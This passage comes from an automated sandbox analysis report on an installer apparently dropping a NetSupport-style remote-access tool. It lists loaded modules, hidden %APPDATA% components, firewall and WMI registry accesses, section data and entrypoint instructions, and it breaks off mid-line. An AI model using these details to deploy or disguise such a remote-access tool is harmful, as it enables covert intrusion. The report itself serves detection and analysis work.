"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76250000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72790000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 76820000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73fd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74600000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6db50000 "client32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 755d0000 "client32.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 755d0000 "client32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 755d0000 "client32.exe" loaded module "KERNEL32" at base 75ab0000 "client32.exe" loaded module "%APPDATA%\SYSTEMUTIL\DBGHELP.DLL" at base 0 "client32.exe" loaded module "WTSAPI32.DLL" at base 741e0000 "client32.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75ab0000 "client32.exe" loaded module "API-MS-WIN-CORE-FILE-L1-2-1.DLL" at base 755d0000 "client32.exe" loaded module "DBGHELP.DLL" at base 6dc90000 "client32.exe" loaded module "ADVAPI32.DLL" at base 77c10000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74160000 "client32.exe" loaded module "NSMTRACE" at base 0 "client32.exe" loaded module "KERNEL32.DLL" at base 75ab0000 "client32.exe" loaded module "NSLSP.DLL" at base 0 "client32.exe" loaded module "SETUPAPI.DLL" at base 74c70000 "client32.exe" loaded module "%APPDATA%\SYSTEMUTIL\CRYPTPAK.DLL" at base 0 "client32.exe" loaded module "%APPDATA%\SYSTEMUTIL\HTCTL32.DLL" at base 718d0000 "client32.exe" loaded module "WININET.DLL" at base 6e050000 "client32.exe" loaded module "PSAPI.DLL" at base 75f00000 "client32.exe" loaded module "USER32.DLL" at base 753c0000 "client32.exe" loaded module "IMM32" at base 760a0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 72270000 "client32.exe" loaded module "RPCRT4.DLL" at base 75210000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 718b0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 71890000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73990000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 72260000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6db00000 "client32.exe" loaded module "PCIHOOKS" at base 0 "client32.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71880000 "client32.exe" loaded module "IPHLPAPI.DLL" at base 745d0000 "client32.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 755d0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 71870000 "client32.exe" loaded module "NTDLL.DLL" at base 77c90000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6da80000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 72670000 "client32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 755d0000 "client32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 755d0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76820000 "client32.exe" loaded module "SHELL32.DLL" at base 76820000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 72720000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 726a0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 725e0000 "client32.exe" loaded module "RICHED32.DLL" at base 725d0000 "client32.exe" loaded module "USER32" at base 753c0000 "client32.exe" loaded module "PCIINV.DLL" at base 0 "client32.exe" loaded module "%APPDATA%\SYSTEMUTIL\LOOPBACKUNBLOCKER.DLL" at base 0 "client32.exe" loaded module "%WINDIR%\SYSWOW64\FIREWALLAPI.DLL" at base 726d0000 "client32.exe" loaded module "SSPICLI.DLL" at base 746b0000 "client32.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72710000 "client32.exe" loaded module "WINHTTP.DLL" at base 735c0000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72710000 "client32.exe" loaded module "%WINDIR%\SYSWOW64\FIREWALLAPI.DLL" at base 726a0000 "client32.exe" loaded module "MSISO.DLL" at base 72730000 "client32.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 757b000058:T1685,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" was detected as "Inno Setup Module" and name: "Installer" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" was detected as "Embarcadero Delphi" and name: "Compiler" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" was detected as "Turbo Linker" and name: "Linker" "client32.exe" was detected as "Inno Setup Module" and name: "Installer" "client32.exe" was detected as "Embarcadero Delphi" and name: "Compiler" "client32.exe" was detected as "Turbo Linker" and name: "Linker" "AudioCapture.dll" was detected as "Inno Setup Module" and name: "Installer" "AudioCapture.dll" was detected as "Embarcadero Delphi" and name: "Compiler" "AudioCapture.dll" was detected as "Turbo Linker" and name: "Linker" "remcmdstub.exe" was detected as "Inno Setup Module" and name: "Installer" "remcmdstub.exe" was detected as "Embarcadero Delphi" and name: "Compiler" "remcmdstub.exe" was detected as "Turbo Linker" and name: "Linker" "pcicapi.dll" was detected as "Inno Setup Module" and name: "Installer" "pcicapi.dll" was detected as "Embarcadero Delphi" and name: "Compiler" "pcicapi.dll" was detected as "Turbo Linker" and name: "Linker" "PCICL32.DLL" was detected as "Inno Setup Module" and name: "Installer" "PCICL32.DLL" was detected as "Embarcadero Delphi" and name: "Compiler" "PCICL32.DLL" was detected as "Turbo Linker" and name: "Linker" "is-E4H59.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-E4H59.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-E4H59.tmp" was detected as "Turbo Linker" and name: "Linker" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" was detected as "Inno Setup Module" and name: "Installer" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" was detected as "Turbo Linker" and name: "Linker" "is-RDOSR.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-RDOSR.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-RDOSR.tmp" was detected as "Turbo Linker" and name: "Linker" "is-44761.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-44761.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-44761.tmp" was detected as "Turbo Linker" and name: "Linker" "is-QB4I9.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-QB4I9.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-QB4I9.tmp" was detected as "Turbo Linker" and name: "Linker" "is-HK8T3.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-HK8T3.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-HK8T3.tmp" was detected as "Turbo Linker" and name: "Linker" "is-OGV90.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-OGV90.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-OGV90.tmp" was detected as "Turbo Linker" and name: "Linker" "TCCTL32.DLL" was detected as "Inno Setup Module" and name: "Installer" "TCCTL32.DLL" was detected as "Embarcadero Delphi" and name: "Compiler" "TCCTL32.DLL" was detected as "Turbo Linker" and name: "Linker" "is-9R196.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-9R196.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-9R196.tmp" was detected as "Turbo Linker" and name: "Linker" "is-9S9LT.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-9S9LT.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-9S9LT.tmp" was detected as "Turbo Linker" and name: "Linker" "HTCTL32.DLL" was detected as "Inno Setup Module" and name: "Installer" "HTCTL32.DLL" was detected as "Embarcadero Delphi" and name: "Compiler" "HTCTL32.DLL" was detected as "Turbo Linker" and name: "Linker" "is-MDSR5.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-MDSR5.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-MDSR5.tmp" was detected as "Turbo Linker" and name: "Linker" "is-9HESL.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-9HESL.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-9HESL.tmp" was detected as "Turbo Linker" and name: "Linker" "is-GITR0.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-GITR0.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-GITR0.tmp" was detected as "Turbo Linker" and name: "Linker" "is-SMMFE.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-SMMFE.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-SMMFE.tmp" was detected as "Turbo Linker" and name: "Linker" "is-C398I.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-C398I.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-C398I.tmp" was detected as "Turbo Linker" and name: "Linker" "is-3RCEH.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-3RCEH.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-3RCEH.tmp" was detected as "Turbo Linker" and name: "Linker" "is-USEBL.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-USEBL.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-USEBL.tmp" was detected as "Turbo Linker" and name: "Linker" "is-QPD72.tmp" was detected as "Inno Setup Module" and name: "Installer" "is-QPD72.tmp" was detected as "Embarcadero Delphi" and name: "Compiler" "is-QPD72.tmp" was detected as "Turbo Linker" and name: "Linker"59:T22f6,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Task Bar Communication" (Path: "HKCU\WOW6432NODE\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "This Device" (Path: "HKCU\WOW6432NODE\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_AppInstanceFolder" (Path: "HKCU\WOW6432NODE\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_SearchHome" (Path: "HKCU\WOW6432NODE\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Games Explorer" (Path: "HKCU\WOW6432NODE\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "StreamBackedFolder" (Path: "HKCU\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Computers and Devices" (Path: "HKCU\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "client32.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "client32.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "client32.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "client32.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "client32.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "client32.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "client32.exe" touched "HNetCfg.FwMgr" (Path: "HKCU\WOW6432NODE\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\TREATAS") "client32.exe" touched "HNetCfg.FwPolicy2" (Path: "HKCU\WOW6432NODE\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\TREATAS") "client32.exe" touched "HNetCfg.FwRule" (Path: "HKCU\WOW6432NODE\CLSID\{2C5BC43E-3369-4C33-AB0C-BE9469677AF4}\TREATAS") "client32.exe" touched "ActiveDesktop" (Path: "HKCU\WOW6432NODE\CLSID\{75048700-EF1F-11D0-9888-006097DEACF9}\TREATAS")5a:T6ed,"client32.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "AudioCapture.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pcicapi.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "PCICL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-RDOSR.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-44761.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-QB4I9.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-HK8T3.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-OGV90.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "TCCTL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-9R196.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-9S9LT.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "HTCTL32.DLL" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-MDSR5.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-9HESL.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-GITR0.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-SMMFE.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-C398I.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-3RCEH.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-USEBL.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-QPD72.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-40SJ6.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-5QITJ.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-96QPJ.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "is-MCJ5V.tmp" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"5b:T65b,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an executable section named ".text" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an executable section named ".itext" "client32.exe" has an executable section named ".text" "AudioCapture.dll" has an executable section named ".text" "remcmdstub.exe" has an executable section named ".text" "pcicapi.dll" has an executable section named ".text" "PCICL32.DLL" has an executable section named ".text" "is-E4H59.tmp" has an executable section named ".text" "is-E4H59.tmp" has an executable section named ".itext" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an executable section named ".text" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an executable section named ".itext" "is-RDOSR.tmp" has an executable section named ".text" "is-44761.tmp" has an executable section named ".text" "is-QB4I9.tmp" has an executable section named ".text" "is-HK8T3.tmp" has an executable section named ".text" "is-OGV90.tmp" has an executable section named ".text" "TCCTL32.DLL" has an executable section named ".text" "is-9R196.tmp" has an executable section named ".text" "is-9S9LT.tmp" has an executable section named ".text" "HTCTL32.DLL" has an executable section named ".text" "is-MDSR5.tmp" has an executable section named ".text" "is-9HESL.tmp" has an executable section named ".text" "is-GITR0.tmp" has an executable section named ".text" "is-SMMFE.tmp" has an executable section named ".text" "is-C398I.tmp" has an executable section named ".text"5c:T438,Observed large number of imported APIs from "KERNEL32.dll" : "220" [Source: PCICL32.DLL] Observed large number of imported APIs from "USER32.dll" : "230" [Source: PCICL32.DLL] Observed large number of imported APIs from "Qt5Core.dll" : "767" [Source: is-RDOSR.tmp] Observed large number of imported APIs from "Qt5Gui.dll" : "268" [Source: is-RDOSR.tmp] Observed large number of imported APIs from "Qt5Widgets.dll" : "1197" [Source: is-RDOSR.tmp] Observed large number of imported APIs from "Qt5Core.dll" : "607" [Source: is-44761.tmp] Observed large number of imported APIs from "Qt5Gui.dll" : "727" [Source: is-44761.tmp] Observed large number of imported APIs from "Qt5Core.dll" : "791" [Source: is-HK8T3.tmp] Observed large number of imported APIs from "Qt5Core.dll" : "355" [Source: is-9S9LT.tmp] Observed large number of imported APIs from "Qt5Core.dll" : "251" [Source: is-MDSR5.tmp] Observed large number of imported APIs from "Qt5Gui.dll" : "310" [Source: is-MDSR5.tmp] Observed large number of imported APIs from "Qt5Widgets.dll" : "411" [Source: is-MDSR5.tmp]5d:T77c,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an writable section named ".data" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an writable section named ".bss" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an writable section named ".idata" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an writable section named ".didata" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has an writable section named ".tls" "client32.exe" has an writable section named ".idata" "AudioCapture.dll" has an writable section named ".data" "remcmdstub.exe" has an writable section named ".data" "pcicapi.dll" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".data" "PCICL32.DLL" has an writable section named ".tls" "PCICL32.DLL" has an writable section named ".hhshare" "is-E4H59.tmp" has an writable section named ".data" "is-E4H59.tmp" has an writable section named ".bss" "is-E4H59.tmp" has an writable section named ".idata" "is-E4H59.tmp" has an writable section named ".didata" "is-E4H59.tmp" has an writable section named ".tls" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an writable section named ".data" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an writable section named ".bss" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an writable section named ".idata" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an writable section named ".didata" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has an writable section named ".tls" "is-RDOSR.tmp" has an writable section named ".data" "is-44761.tmp" has an writable section named ".data" "is-QB4I9.tmp" has an writable section named ".data"5e:T3ac8,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x5c,push ebx,push esi,push edi,xor eax, eax,mov dword ptr [ebp - 0x3c], eax,mov dword ptr [ebp - 0x40], eax,mov dword ptr [ebp - 0x5c], eax,mov dword ptr [ebp - 0x30], eax,mov dword ptr [ebp - 0x38], eax,mov dword ptr [ebp - 0x34], eax,mov dword ptr [ebp - 0x2c], eax,mov dword ptr [ebp - 0x28], eax,mov dword ptr [ebp - 0x14], eax,mov eax, 0x4a2ebc,call 0x40fd3c,xor eax, eax,push ebp,push 0x4a8ac1,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,xor edx, edx,push ebp,push 